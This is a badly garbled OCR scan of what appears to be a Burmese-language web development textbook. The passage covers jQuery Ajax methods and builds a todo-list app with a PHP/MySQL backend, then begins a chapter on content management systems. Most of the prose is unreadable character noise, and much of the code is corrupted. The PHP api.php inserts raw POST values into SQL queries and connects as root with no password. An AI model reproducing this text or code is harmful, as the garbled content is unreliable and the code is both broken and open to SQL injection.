(950 0701 ¡Query $ 09:03207C: eq 202:0: NE e322 $960:000:(8: URL Encode mo[sc:1 Respond 
Data Parse ó[3c:00303932005 qp:qp:o? jQuery 0209|$602302020300: 63006 g0960:990:90 (9501 

co. o e : So. 0 IN e ç S xw y 
o jQuery 3905;(0)(8: Ajax Request q: Lligo? so03coo3eo5[960: 222:0leo5u jQuery eo Ajax 
Request (o¡oó$€o3 Method saĝ olosi 3380500 s905:320685:(96005 Method &$90260»? 
$.get() à $.post() o» s$olo»o5u GET Request Method 3905;(0)(8: Request 0208 390305 
$.get() 0295:$6(8: POST 390305 $.post () os): ¿colonos i 
2094: (9) y ¡Query DOM Manipulation a2e[o226:eo3(080900 jQuery Object (9603 Dollar Sign o? 

> ° > IN : e IN M9: : Ox_o c 

Selector 32684 3905:(0|30los051 Ajax 3209029: 333 ¡Query Object 02099: qgooli Selector ao (so 
° e : : c o € e e o C^ o IN IN e : 

a:o jQuery Object esoo500 909096:3096320008 CSS Selector oRcop8026:60:q 01000511 Ajax 

Request 6023209096002 jQuery Object 026502980 get () demos post () Method 03030303905 


qo? 3905:(0/(86:[gdolos05u GAD: ÅS 6 (g-0») eocoeo[ocoo:oloooi" 


$.get("book-list.php", { catid: 123 Y, function(data) { 


), "json"); 


© (g-0») jQuery Ajax Method 
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get () Method 3905:(01603 $fe ACAL: osn Parameter (ç) 208 og: colma 

° c CN o c IN IN o oe e ` c e 
000880: o9 [eo URL NN @[8deega005905e0:809(8: oq|Š (2) 900 Optional [ešolooošii 
Request Data $896 JSON 32694 30800 Parameter e$ Pg c0p3036:60:8Eolos05i Request (6:3: 
oc IN IN os c e IN o o : IN 
$|$90 esoocgo?eocpo? c»06s02Cq8J02602096022 amado Parameter e$ Callback Function ooë 

>b IN IN oc IN S_o c c 
9 32684 990590360:000: 860100051 csm): Parameter ooëəooçooo Respond Data Type [ešol 
ovos $940090 json co 9905903000:010005 90005903396 Server 0260:0c0002 Response 
Header go0loéo3 Content Type Nol: jQuery oosà:[eo5co:ooo:eo[eó olosoSu 


Server oo (o§copSe0:8c0003 Respond Data 602096009 Callback Function à Parameter 32643 
S.0€ ç A Q IN < ç c < - ° 

coms d8Eclooa5u $PP data 0$9905905e0:000:0109051 000036 Variable Name o data 

3202: səob:[o|&ColoooSi 


post () Method $3295: [0900 get () 3905;(0}4§3202020101 Request Method 6 o2ooə2o:9o (S901 
o»0SI get () š post () Method $Ê: jqXHR Object o? [o$ eo:ecogolo»oóu jqXHR Object 

C O Ç « M o. QC o ° € ç . ore 
000 (91e c9o$0 Request e, 326[83265 0209650:8 3205:060loo 03i done, fail, always so(8: 
saefasacs (2) 953, coOesooCajoocoo 020582003903000:$60lo»09 pues - 


var obj = $.get("book-list.php"); 
obj.done( function() ( 

// do something on request success 
OE 


eost ad T tument 
// do something on request failure 
p); 
obj.always( function() { 
// do something on request completion, either success or failure 
Jo; 





(9960905) 


$.get("book-list.php") .done( function() { . } ) 
"fal tunctusonQ) 9 
j 


.always( function() { .. ); 


à Request à exooc(86q! ecsooc[eCcosəoc[əsəeseco[ecoo5[Š: c906s0268J0$02058 2205903000: 
e Ç 
[ešoloooŠi 


sg: 
Ego 


rho Qo 
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9.6 - Persistence Todo List App 
3995: (9) y jQuery à Todo List App 60020069 mesma 0308: 200l 


Task List 


A super late project 

An over due job 
.J Deadline is today - A design job 
g 


338 Todo List App eco:ux% Interface BEzc9des0sE 3060 (098: [eolon Task 39000602 
e c oc e e e ` ° ç coc ç e ere ° (o e 
oop?o96:&6olo»oóu 0003996:000:02 Task coro oossoo es0ré qo9(9: Task qp:oo (8:8: 
e e oc e ° e : : e ey 
e(o226: Check aseos RPCM JavaScript (jQuery) 990390038 eQ: 
` e e e o NOS ç oç e ç ç ° 
009303380209 328|023205096090? ga(§086:s095:0000:8E[96:(Gd0loo05u slefax¢ Browser o» Reload 


MÉE 00p9296:000:023eqjo? 320503602 [oŠcoo5ogoSeqpposooo:eo[eëcloooSi 


323[0932c003602 0? MySQL Database 9o 086:a005:000:8E 6060) coÓesooCajoocoooo Ajax $99: 
989 səo:[o [S:[sošocsa|éoloooSi 000e8:s9:326$& htdocs Folder òp todo sepa Folder o»$9 
oops esooo$eo:o0|! todo Folder cog index.php, jquery.js, app.js, style.css, 
api.php 00) File qp:soo5coo oop9esoo0960:0]i 


todo/ 

|-- index.php 
|-- jquery.js 
|-- app.js 
|-- style.css 
[== api.php 


jquery.js Oo$q«$83»090? jquerycom meş Download qopqe»(s9oloooà» index.php, 
style.css à app.js 0932096:90 cop$996: 60:$90602026002 09|$600502 2094: (9) Qo Gq2000:8 
(S:(9803 HTML, CSS, JavaScript cooo[eeoloooSi [pšcooSeeo[oeo:coosoloooŠ - 
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[ index.php ogopa: q$ ] 


<!doctype html> 


<html> 

<head> 
<meta charset="UTF-8"> 
<title>Todo</title> 


<link rel="stylesheet" href="style.css"> 
</head> 
<body> 
<div id="wrap"> 
<hl>Task List <span>0</span></h1> 
<ul id="tasks"></ul> 
<ul id="done"></ul> 


<div id="new-task"> 
<input type="text" /><button>+</button> 
</div> 

</div> 


<script src="jquery.js"></script> 
<script Src="app.]s!' ></script> 
</body> 
</html> 


m 


style.css ogo: q$ ] 


#wrap { 
width: 360px; 
margin: 20px auto; 
padding: 20px; 
border: 6px solid #DDD; 
overflow: hidden; 


igi 
margin: © 0 20pzx 0; 
padding: 0 0 5px 0; 
font-size: 18px; 
border-bottom: 1px solid #DDD; 

Jj 

hl span { 
tibat: gt, 
display: block; 
background: #9cf; 
font-size: 2px; 
padding: 2px 6px; 
color: ENSE 

} 


aL. 4 
list-style: none; 
margin 107 
padding: 07 

I 
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ud de 
overflow: hidden; 
padding: 4px 0; 


li input, li span | 
float: left; 
margin-right: 6px; 





lia { 
float: r sopar 
text-decoration: none; 
font-weight: bold; 
color: #900; 
padding: 0 8px; 
display: none ; 

} 

li:hover a { 

display: inline; 


} 


#new-task { 
margin GOO 2 Ue 
padding- top: ctp 
border-top: lpx solid #efefef; 
overflow: hidden; 

} 

#new-task input { 
border: 1px solid #DDD; 
border-right: 0 none; 
padding: 2px; 
width: 240px; 
height: 20px; 
float: left; 

} 

#new-task button { 
width: 30px; 
border: 1px solid #DDD; 
background: teee; 
font-weight: bold; 
color: #666; 
padding: 2px 2px 3px 2px; 
float: left; 

} 

#done { 
line-height: 18px; 
margin-bottom: 10px; 

} 

#done span { 
text-decoration: line-through; 
font-size: Jep; 
color: +999; 
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[ app.js ope copdazc:9$ ] 


$ (document) . ready (function () Í 
S("#new-task button") .click(function() { 
var task = $("#new-task input") .val(); 


if(!task) return false; 


buildTask (task) . appendTo ("#tasks") ; 
S ("hl span").html( $("#tasks 11") length ); 


S ("fnew-task input") .val("") .focus () ; 
)); 


$ ("fnew-task input").keydown(function(e) { 
if(e.which == 13) 
$("#new-task button") .click() ; 
J) z 
p); 
function buildTask (msg) { 
var checkbox = $("<input>", { 
type: "checkbox" 
}) .click(function() { 
if($(this).is(":checked")) { 
$ (this) .parent () .prependTo ("#done") ; 
) else { 
$ (this) .parent () .appendTo ("#tasks") ; 
) 


$("hl span") .html( $("#tasks li").length ); 
DER 


var task = $("<span>") .html (msg); 


var del = $("<a>", { 

href: “Tu 
}) .html ("&times;").click(function() { 

$ (this) .parent () .remove () ; 

$("hl span") .html( $("#tasks li").length ); 
tay 


return $("<1i>") .append (checkbox) . append (task) . append (del); 


$30.08390309:(G5ea906 009$036:(8:(8s8q6 Browser URL Bar go http://localhost/todo/ c90099296: 
os: goln gozoso: JavaScript Todo List App o9? [G§copSq§go[gsoloo05u 
səa|o5°səcoo5coo 28:2025: 8320209 Database Table pesn E:S c930002 PHP Code co 
eaa: [86:09 soošcoosesooC ga5qgo(gdcloo05u PHP Code cop oloécoocoooe»(69 c9 02566220: 


382000: 32096:695:0 htdocs Folder de 3225ó(0$ mA mS eann eshs: amaS: odolo 
3 o)c:eop y $cop? ODP $ e 
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co x: ` ° e Oo co oco e Oo e IN IN > 
Coon 66] 252: 002: O2 jQuery Code Geeni səƏglo5o2 çooo NVP E000) ocolos səoooŠe] 12 2; 
IN IN e NCS IN IN e c IN IN IN IN : IN c 
C copo: 328&:(9) go9(9$ cop3ecoco(0209 60:0] 36PPPICON soo$coo3(S03903e05 Ajax $p29$o0 
e IN c 


Ce Bd [G2bgoSee5[Ge0:e0>)g00Il 


-CO,2 


soo? coo3(8: phpMyAdmin meş todo 32020 Database 029900p96s000960:0]i 338 todo 
Database o5go9 tasks 32020 Table 0289900300050095es00056070)lI tasks Table go oloé geod 
Column cog meow səə[ešolooo5 - 


tasks Table 
id - INT - PRIMARY - Auto Increment 
subject - VARCHAR (255) 

status - INT (1) 
created date - DATETIME 











Column (ç) goloéolo»oóu 098:s005:09023280030qJ0300 Task subject olı status Column 
S € cro o o ç ° ç e Ç AO O C . . 
meon Task 4, es006q03(9:8:932c([93264 0? go3o»o:(s$olo»ou (025680896 Task Priority, Due 
: M e e € ç e e ` COGC » 
Date, Task Detail oo? səa|o5Go2o clo€aogoleas:020511 sleoeo$ Code pepeo 320005$C80: 
o 8 o x ç 19 ç ç £ Jo: : ` Or oc, Sul 
QQE coon asco eoo: eol: Task Subject š Status o)0056:s0p0:0 
e e coco IN Co o ç : M o e ç € e 
CONSI OG20008CQ3VO}AI Task O298|0? cop: phpMyAdmin Mego [P orE copSogE:e0:000:006 


oloasi 


Server-side Scripts 

soso: api.php 059 co:Ocooo Request Data o? tasks Table o5oo 086:a005:60:(96:1 
ç ç € ç e e € M c ç ç e 

(090360: [86:1 oo3qo$eo:qjo9eo:(s6: 06020006802CqJ02602 320205 PHP Code GOR GAED: GO: 

oleosi səƏoocoÓesoocajoo (9) PAPS: (9) 9c):02 api.php Script 0299 0099:900 9c0l6: 

@g 30093000: 9ooli 


9.) esop) Tasks oq: qof: 

J) Task 32200029220: [e C: 

o.) Task qp:oo3qio3(s6: 

ç.) [8:8:e[0906: Status q0322o:(86: 

5.) o(8:8:600: ejayoc: Status eno: [e S: 


° e e e ` ° à ` c e 
- lssulorsn G322029260:000:02. Code o» api . php 0080 07: 090093926:60:011 
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<?php 
$conn = mysqli connect("localhost", "root", ""); 
mysqli select db(Sconn, "todo"); 











Saction = $ REQUEST['action']; 


switch(Saction) { 

case "get": 
get all tasks(); 
break; 

case "add": 
add task(); 
break; 

case "del": 
del task(); 
break; 

case "done": 
done task(); 
break; 

case "undo": 
undo task(); 
break; 

default: 
unknown action(); 


} 


function get all tasks() { 
global $conn; 
$result - mysqli query($conn, "SELECT * FROM tasks"); 











Stasks = array(); 
while ($row = mysqli fetch assoc($result)) Í 
Stasis = STOW: 


} 


echo json_encode ($tasks); 


) 


function add_task() { 
global Sconn; 
Ssubject = $ POST['subject']; 





$result = mysqli query($conn, "INSERT INTO tasks (subject, created date) 
VALUES USsSubyect 5 məw() ) 7 





if ($result) { 
$id = mysql_insert_id(); 
echo json encode(array("err" => 0, "id" => Sid)); 
} else { 
echo json encode(array("err" => 1, "msg" => "Unable to insert task")); 
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function del task() { 
global Sconn; 
sid =o POSTI ad |G 
$result = mysqli query($conn, "DELETE FROM tasks WHERE id = $id"); 
if ($result) í 
echo json_encode(array("err" => 0)); 
| l i 


echo json encode(array("err" => 1, "msg" => "Unable to delete task")); 


























} 
} 


function done task() { 
global Sconn; 
sid = D POSH | idi]; 
$result = mysqli query ($conn, 
"UPDATE tasks SET status = 1 WHERE id = Sid"); 
if ($result) í 
echo json encode (array("err" => 0)); 
| else | 


echo json_encode(array("err" => 1, "msg" => "Unable to update status")); 




















} 
} 


function undo task() { 
global $conn; 
$id - $ POST['id']; 
$result - mysqli query ($conn, 
"UPDATE tasks SET status = 0 WHERE id = $id"); 








ie (resum m 
echo json encode (array("err" => 0)); 
yetse { 


echo json encode (array ("err" => 1, "msg" => "Unable to update status")); 


J 
) 


function unknown_action() { 
echo json encode(array("err" => 1, "msg" => "Unknown Action")); 


) 


Ree 


ocoes?:3oesà Database gjossoas[aé: ea0nEgos[8:eg005 Request Data səcsàoloCcoooy action 
0? obes0:(8: mus action AnS Function o9 sacpdapdeo:qe0ds switch Statement š à(so: 
o003903e0:0loo03! action oo get AÊ get all tasks() Function o? səcoócoóco:eo [dol 
on Browser URL Bar yo http://localhost/todo/api.php?action=get Aupa: (mps 22990) 


qog qpel 


[("id":"1","subject":"Something to do","status":"0", "created date":"2013-05-15 
12:59:20"},{"id":"2","subject":"Yet another thing to do","status":"0", 
"created date":"2013-05-15 12:59:20"}] 
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api.php cdgo coÓcsooca|ocoo sagp:[08:eq:000:000:6000) Request ¿30 action=get ado) 
co e ` e : e C ON e e e e e 
058: oloCcooo>səogo5 get all tasks () Function o2990099:090 səcoOcooooo:[əc:[eëoloooši 
get all tasks() Function o tasks Table ceo $j»9| Record eog03 s30po3(8: $tasks Array 
gro: oop?o96:0looo3i eo 333 Array o? 3son encode () Function à JSON Format (g6 
e ç (o ` ° C e ° o co o e IN 
csəoCc[ooc: [Š: echo š $09090960:000:c9 mad qc5309«Q0»»[690lo»ou 


c 


Browser eo http://localhost/todo/api.php cQdc0p$06:[a395qEeor q00300329c9 [sol 
("err":1,"msg":"Unknown Action") 


Request à3209 action Query Value oloécooS6:eQc9 case 029939602030902320209 default 
c IN IN ` : - ° q c < iN € ç 
se[Só 220590500»:0) unknown action() Function ogəcoOcoóOco:opo:[eéc:[eecloooSi as 
` ç oc Q Ç o < <ç < < € ers c 
Function cogmeon WAH POC: Task oop?ogé:(86:i oo9qo9(s6:! Status Update coo 
ç O O < < e c ç ^ o qe - c 
(86:020 esoo$go9eo:coo:(S6: [eëoloooSi eq:200:000:0? Code Genfi Function o»$9 


(86:38 32096096 608 go: pco osovo 


Adding Ajax Requests 
sonas: app.js qo Ajax co96s006q[0960200p9296 :0leo9u 000632s0632088 buildTask() 


Function o? 329 Aloll9éco:ol II 


function buildTask (msg, id) í 
var checkbox = $("<input>", { 
type: "checkbox" 


}) .click(function() { 
df (Ens). ssi checked") )) { 
$ (this) .parent () .prependTo ("#done") ; 
} else { 


$ (this) .parent () .appendTo ("#tasks") ; 
} 


$("hl span") .html( $("#tasks li").length ); 
p)? 


var task = $("<span>").html (msg); 
var del = $("<a>", { 
hist Mn 
}) .html ("&times;") .click(function() { 
$ (this) .parent().fadeOut(function () ( 
S (this) .remove () ; 
$("hl span") .html( $("#tasks li").length ); 
J)? 
}).hide(); 


return $("<li>").data("id", id) .append (checkbox) .append (task) .append (del); 
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ç e € o : : IN ;| ç e c ç ç s O 
(GésoEqeudseg qoo? Highlight coóOco:ooo:olooo5!I Szoc oq|$ Code cogeo se(yoc: def 
O co ° ° ° c coc c o : o Cc ec e n 
32070701011 AR], 0296090? Record ID VA səocoOcooaceo[eoco Task List ¿MANN id 
co ° : M . ° ° c oc " ` x` ç ç ç 
NIP: jQuery e) data () Function 200): [0/(8: MNAC <li> Element $390) PONOR: 
co:coo:[əc:[eëoloooši 


sonas: Page Load asoa tasks Table ò% Record opo? qee 3] 
< < c < ° <ç < 
e(o206 $ (document) . ready () 22030:00069 qoqo esəoo5ol Code o? [8o5oo5eo:olu 


s get ("api php”, faction: "get"), function( tasks ) { 


$.each (tasks, function (index, task) { 


if( task.status == 1) í 
buildTask( task.subject, task.id ) .appendTo("#done") ; 
) else { 


buildTask( task.subject, task.id ) .appendTo("#tasks") ; 
} 
1); 


$("#done input") .attr("checked", "checked") ; 
S ("hl span") .html( $("#tasks li").length ); 
), "json"); 


get () jQuery Ajax Method o2o»:(8: api.php o? Request coócooo[ec:[ešoloooši Request Value 
qo action 320200 get 020099996:60:000:0looo5i Callback Function go Respond Data o? tasks 
Variable à 00384 02000:0]00051 


Callback Function 32036:90 jQuery each () Method 0305:(8: tasks Variable dgogezos JSON 
Array o? Loop co900o:0looo3i each() Method 390305 Parameter $960: 40100051 Loop (910999 
03 Array à Callback Function o3(8$0looo3« each () à ocoe Parameter sa[g6 tasks 0960:000:c9 
tasks Array o? Loop aseo: gofes: ooó[o28səcoocooo26: 900203 Key š Value RA Callback 
Function e, index à task Variable 0299 à[go:coo3o2C:co:coo:eo[eóoloooši 


Loop à Callback Function s2036:90 Task status o9 oes0:000: oloəooŠi Status oo 1 aqs 
buildTask() Function (G§e0:00003 «li» Element o? #done cooo 0099036:60:000:0lo0051 
Status o» 0 s9q66002 q$jcooo? <li> Element $ #tasks 0303 0op9996:60:000:0lo»o3í 3g 05:8 


ec Q 


Page Load qo: tasks Table 02329] 32000960909 qo»esS(9eo:es eo(8$ olo»o5u 

c cero c ç ° o coc ` ç c oc ç o 
sons: Task 322500002999€:09O2q|8QO tasks Table IN: 990:66[02996:9095:600 
390305 (G25goSeo:clec5u qcoQqes (8:o»o: $("#new-task button").click() Event o? 32909 
(Gés0éeo:0n 
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$("4£new-task button") .click(function() ( 
var task = $("#new-task input") .val(); 


if(!task) return false; 


$.post("api.php", (action: "add", subject: task), function(res) { 


if( res.err == 1) { 
alert( res.msg ); 
) else { 


buildTask(task, res.id).appendTo("#tasks"); 
) 


m "json") ; 
Bbuildteskteask} appende tasks} 
S("hl span") .html( $("#tasks li").length ); 


$ ("fnew-task input") .val("") .focus () ; 
)); 


(809903«6053096:0? Highlight co9co:coo:(8: 0503003€e093206:02 Strikeout c9960:000:0lo»oÀu 
api.php 0? post () Method o5:(8: Request coGcoo:oloooSi Request Data saeg8 action 320305 
add à subject səogo5 task Variable 0202220590560:0looo91 Respond Data Reo Callback 
Function eo res Variable 800038002: olooo3i 


$ Request RIA! action 02§8:00 add (896503320205 api.php Q add task() 

Function o? 3209009060:290:eo[5$ 0lo» o5 add task() Function oo INSERT 096 cš:esəoc [ec qé 

err à id Index &990lo60) Array o» [L$ eooo: olon err 0m$8:00 0 (s0(8: id 0m$8:0607 
< < € çC O C xx $ol ç m c € ` ° x 

0003026G000000909E3000303 Record ID [ešo om INSERT Query eg§qceor err š msg 0) 

< ç x c ç ç co iN cre o 

Index &990lo60) Array o8 [p4co:0looo*u err oo$Q:oo 1 (s9eo(s9(8: msg oeo Task o» e 
< ç oO c c jl 

oop?o96:&6e(n206: Message o»99o!i 








alelomé post 0 Ajax Method à, Callback Function ceo res à err 0? o0es0:(8: err Jae msg 
o? Alert Box àeo3(oeo(8: err e$jeoo?9 buildTask() Function o? esloocoo:oloooŠi 3505: 
Task or@90099096:0805036: eo3[9es0? List òp Item 026903:c000008 tasks Table dop: 
Record 320203268 & osa: coeo[eŠoloooi" 


e ere o C OC GC ` IN IN IN o 
soo? coo3(8: Task e020) Delete coócoo5gé tasks Table omega! oo5q|o5oo2o:eoeoo Request o? 
(sa$goSeo:clecSi buildTask() Function o9 [o[ošaeo[eéoloooSi [Géco0S0% Task cogo 

C AS (0,9, c. SAS. 8.2, . €. (nS eS es, S S Salo Or: cO] 
esooc gad (8:8:c[000c: go: [e G: e(8:3:622:e(0226: [S9$cooSooooo: s: coOesooca|o5q|jo:ooo 
ordelonas: osgo a|éoloooŠi 39900 (Gés0ée0:0ln 
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function buildTask(msg, id) { 
var checkbox = $("<input>", { 
type: "checkbox" 
}) .click(function() { 


var task = $(this) .parent(); 
var task_id = task.data("id"); 
if ($(this) .is(":checked")) { 
post (T apan oye, acer on: dame", stole tte Puma tees o NN 
task.prependTo ("#done") ; 
S("hl span") .html( $("#tasks li").length ); 
DET 
} else { 
post (Y apu jojo", racional oit task Lol], tema tee or MET 
task.appendTo ("#tasks") ; 
$("hl span") .html( $("#tasks li").length ); 
)); 


j—ecse—t 
Stthis} parent) appendTe(teasks}> 


DR 
var task = $ ("<span>") .html (msg); 


var del = S("<as", { 
href, nn 
}) .html ("&times;").click(function() { 


var task = $(this) .parent(); 

var task id = task.data("id") ; 

Soon (Meyer, asilos Melslw,  kole rasis cit alterna estes mt (ers ess) MN 
task.remove(); 
S("hl span").html( $("#tasks li").length ); 

Jn Vase) 2 

Sth) parent) remove) 

SH spent SS Pta ss +" length—-- 





p)? 


return © (<li>) data dt id) 
. append (checkbox) 
. append (task) 
. append (del); 


(a8 gcScos:033086:03 Highlight coÓco:coo:[8: 0503003$6023206:0? Strikeout aseo: lovos 
< ° 


coÓ esoo6qj09096:320909 post() Method o20589»:(8: api.php o? Request co900o:0lo»o3i 
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oo: [so:ajo5ooeooo Request Data ceo «1i» Element à data-id o3q09[8: copsa9é:e0:000;(36: (58 


ol Si 32096096909 0299q/6:090996:649 Beda: ¿color (GésoEcho503 Code om 6038 
EQU [eogi 
° c ç c Qs : c c o e MOS IN OC xs 
329s9«C ogg 6025094, Todo List App ooo 3eq|05320009qp:0?0op9: 3o[8220:9099:60:000: &Co? App 
c c ° c ç 98 e : : ` IN So. v : 

0269[8d090:(8 (eSolo051 33294:90 Server-side Script 32694 (S09909c90303 API Script oo aqp: 
(3: coÓeco:olog: 1 co:Ocooo Data o? Database Table cogo 998:00360:[56: 02225 eao qo3(8: 
səqp:o[eëo5 Interface 86:3 Request faso c996soo6qjo$qp:o? JavaScript, DOM à XHR o? 
colé:00 ooo5esooocoo: ec: folo http://localhost/todo/ cŠ Browser URL Bar go oop?296:(9: 
oó:ooS(o3p$ RENG 


9.7 - Other jQuery Methods 

jQuery e» get 0 š post O s [o° ao(go: Ajax Method qp: oq$$9le22:02o5u 23300) getJSON () 

Method 0260»? Respond Data o? JSON sə[8ëcooëc> Method ooëə[8ëcloooSi əoeo - 
$.getJSON("api.php", (action: "get")); 


5 coe: 220: (86:000 5 


$.get("api.php", {action: "get"), "json"); 





- Regn: e: $o lons rg cc [o 8ColoooSi sleoeo? Request Method 39694 GET à 
POST 0303 cSoo0$03:qg08 GET 390205 95:006:0064]:$.6q2000:(8: POST 39030535: 06: esoo? 
004: se:eVmmo: eqo oes get () § post () 0209095:090900000 Basse 
ooo5cooosooloooŠiI 6205009902600? getScript() [eŠoloooSi Respond Data səesšš JavaScript 
c0038(8: mos] ms: Run 60:03 Method [gdclos05u 





$.getScript("js/somescript.js"); 
9 ç 

= Reg: i: on = 
$.get("js/somescript.js", "script"); 


Reg: [s C: šoooSoloooSi 
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e$00200$9006009 load() [gdcloru5 2900600? DOM Selector àopo?:qoloooàu coaddq§o3 
Respond Data o? Select coócoo:o5 Element 0303 0599l0503:0095236:60:0lo»03i əoeo - 


$("tnote").load("data.php", (id: 123}); 


6800989:0009006002 ajax() Method [ešoloooŠi 32956009 ajax() ooo jQuery à 320 Ajax 
Function [99 olo»o3« Request §005000503 Setting 32620:9092209909$60239020? Low-level 
Interface c9esloloooS» ogj$e00302 seo»:[o|ào? get () šà post () ou ajax() Method o? 
02680605: 00003 3209600009eq: $99:qp: (s$(o20lo»o5u 


G61:220:04 94000 səəcQol - 


$.ajax(( 
Male Mao php 
data: "action=get", 
type: "get", 
success: function() { 
// do something on success 
), 
dataType: "json" 
Jo 


c ° ° x` . ° ° ` x` ç c c o c c c ç 

Request 320909329»: [9|c9o? Setting 390: 09:07 JSON 3969 SF 020052505905 co: Safe: [ešoloooŠi 
e ç O M . . ° ° 1 ç x° ` c C x . co ° 
90059090980? Setting Option coosəqp:|o3: $oloooó! 3830000 905900:00602? Option AJLON 


Gq: o5 coeo[oco:oleoŠ = 
9:00 H 


beforeSend - Request eQc9058 esooógo?eoc9o) asea NA beforeSend Option š 


ç LAS QS n ç ç o ` : ç 0 C Re. c n ç 
DDOIGOICOI?EACO!OIOO 1 OIG 9:32G$ à Function 02090? 990390360:992(960 ODOOII 


complete - Request/Respond (es906(gE0095[gde0 əcsəoc[ecoso[eéeo) (0:9:250:4]$ > es00d gos 
coo) aca aoe complete Option §a005g05c02:8ElosuSi oocoo3:ó o0$0:2909& 


. c o c IN 
Function 05090? 950290260: Sgoolu 


data - Request Data 60303 data Option § 000990960:000:&60lo» 03i 000390302328] Query 


String 0682203903 86o5c9i JSON sae cope: 9905905860 nn 


e ÇO 2 OC e e COC sx co d 
dataType - Respond Data Type 07038 :2c0l00 0 1 WOPR 00$0:609006002 json, 
xml, script & html 030(gdvlos05 e22099093q«6 Response Header govloéco203 Content-type 


o? (02998: jQuery oo səc0səccojpo59X2o5əo5oəo:eo[eóoloooi oo: [so:a|o5səcsš jsonp 20) Data 
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Type opolo opo» json oldu sleoeo$ Domain 9990} Request coo [o|coócooysəsloo aoos:(o| 
< : : Q > : > ° So 
qoos Ajax oo 999990304, Cross-Domain Request esto? Domain ecooo Request coz 05058 
o n ° ° ° ç € ` coc c 
ecoeqplo: u jsonp Data Type op aeo»: [o ojos Cross-domain Request coo (e 2ó$do90: a 
coo 
eS sx < E o x c < < o - > < < 
error - Request eea2oc(8602328| esooégo5eocoo> coOesoocajoScogooo error Option & 2205905 
coo: Solov or§8:a0658 Function 0269200590360: Qi 


[11 M oc ° 


HTTP Authentication 95:(8:00$2205000:0? 3a0€6:c0909 Request aoa 


9; 


password 


Password o? Request §59090300360:8 səob:[o|&ColoooSi 


statusCode - Respond Code səc9o5 o: [go:coóesooCa|o5eoo ooošəoscoopsəs] səo5: [o 8&ColoooSi 


c c ° € . e c oc 1 ç 
Code 020q|C:32c905 Function 6099502905000: ¿colon II poe - 


S.ajax(( 
ule “some/ uri 
statusCode: { 
404: function() { 
72 e 
), 
403: function() { 
Z sas 
), 
500: function() { 
VA dus 
j 


)); 


ç LS P PEA COC * IN e Qn c e e o 

success - Request cGəəoCesəoc [eG [ec [ico 58Eo3a081 GNC NCO NON CPOGSSOIC QIODEOROP 
IN IN oc € > epe e IN e 
290990) coo:àColoooŠ!i complete $9S0¿ omo 990260»? Request csəoc [ec oooo GOC QNL 


Option (esol nun 0$8:22094 Function 000390360:qqgoolu 


timeout - Request 0299320505 so(e6e5:8 (9020450? timeout Option à 0003903000:$60 ovos 
co, o 


NIP: Millisecond ¿e0:qulousn 




















type - type Option eo% GET, POST, PUT, DELETE 90) Request Method oo05go5eo:8 
səob:[o|&ColoooŠi 


url - Request Caa) URL 2203903832020 səo3:[o|goloooSi 
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username - HTTP Authentication à 05$2503000:0? 3986:60203 Request (o,c9dc$03a001 User 
Name o? Request &32020200960:Q aeos: (oj$6olooo5u 


Setting cooo Asma aod]: q|:2205905$603320205 32625:90300039030c90) Request 602320905 














ajax() Method səo5:[o|&Coo[eóoloooŠi goeo - PUT š DELETE c2 Request Method 602 o5:8c9co0 
e Oo c Os ç `x š ° ° c ç 
(6 das get () post () gaocecocoms ajax O 0? səob:[o|goo[eëóoloooši 





Conclusion 

səəa|šəəo Web Development eo s28029905:(0}03_ $25:0g69E:6[GoEcSeg30l(8u saq Server-side 
Script cogo 3980295:0900(363(8: App 06903: Domain Logic meş Template eoo User 
Interface 6023208 Server-side Script qp:026 399209:0200§098[(a30]o0051 3294|$ 926002 App 4 
cpdes006 ajo5əəqp:ooo JavaScript Sorpdes0005000[07(8: Server-side Script $0 OR|$ 607503 $9 
&o9o somo Data Persistence 96: 020040902 320900009020 28m: molan 
Server-side mojon Data 00038986: 3095:85[g5002(8: ga[ao:cpdes0r6qj0560200 Client-side 2005 
B egoo003o»eo»»(880| ooo! 


sleoeascops: Server-side e, 326 $:00qpoo copo: eş p&o260»2326q:0les «50i Ajax App sos 32 
[Sés93702903 Gmail o3d{a3950ln 2399 Standard View à HTML View a9(6: Interface gôg 40100051 
Gmail HTML View ooo 934: Server-side Script soela(o| Interface 0069002(gd0lo0051 Ajax 
Interface ccooo5coOesoocajo5coo (0999 (88:6 $600? o»9slooódgo HTML Interface Mags: A: q6: 


[e$aog(S: RESPÈ 390:000q/0 copgezolon on 


onpSes0005005 App c9320qo$3ac909 Client-side š Server-side o? 006600302 c90960932o»:[9| 


naco [my 


Fairway Tech School 
şs: 002008 or§:e0y28:036 Web, Mobile aŠ Design eB&ep 
ooooosÓqpp:səo: saeg gaS a€lazoreoraqodgjoop5 

soadogodag - (og) Jay GJE 200 
www.fairway.com.mm 
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3994: (20) Content Management System - CMS 


WordPress esf C903093299: 062099 CMS aoc[p256: 


Content Management System (3209600005 CMS) § 2920990099 səc[ešsoo: fos Website 0299900lo 
o> soqjo$secooÓqp:o? Website 6«:220:$09:e0009096:02020e0$3eo9:(Q[opqp: 3809090090596 


e ç O ` ç go c n ç 
CIVIC O}OI2 C0: 009202 OFOOIOG||: [sšo ODO II 


IN 
C 
IN 
C 


CMS System 
[ Web Application ] 


=a 
> mm 
€ = 


Create, Read, 
View Contents Update, Delete 
eee All Contents 


Add Comments, 
Register, Manage Users, 
etc... " Manage Layouts, 
C] "— inn 

REE 

umm "U" 
Front-End Interface Back-End Interface 
səqpp:səo>:[o q [ Admin Interface ] 


Web Master 9 Website 


Content qp:Šëspogësəo>: [o qš 


© (00-09) Front-End and Back-End Interfaces of CMS 


CMS 6eog0oocopà: eeo Web App ooéq|:[(690loooS€ ape Front-End š Back-End 33{6: 
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Interface o? 3(89:002:60:6c9golooo5u Front-End meon səqp:səo5: [o SC a$ 3903205{80(8: Back- 
End meon Website govloéod səa|o5səcoo5qpp:oo 888603 Interface (sd0los051 slefoxg səc[eŠ 
səo: [s< Front-End Interface o? enano ac 6: Back-End 026002 2203090) Web Master 9 
oxosəo5: [O| g¢qese06 Password à mazas coo:eo[eóoloooSi à (oo-oo) ma: Seon 
c09:010205 1 


CMS com Website gooloco? sagjo9aacoo3qp:(26soG(s6: so(o6! User Account gp:0386[aé:1 
Content Meta eolo Category qp:! Tag qp:Solac:1 3905:(0}996020095026:03 32qjo93acoo3qp: 
(poeo - Comment qp) $ó(s6: Website Design š Layout $6(86:00) cpdesor€é qio9qp:02copà: 
ean gRs esc 9o9ooo:eo:(02eco Hosu 


10.1 - Popular CMS 

CMS cogcàoo 32006 qp:s9:$ S:a: CMS (o) əqoloooSi 3331e020260>7 WordPress, Joomla 
š Drupal o2o[eóoloooŠi 8 (2) 99:0 Open Source sp5:oosocoo[ee 9: PHP/MySQL səoà: [o| 
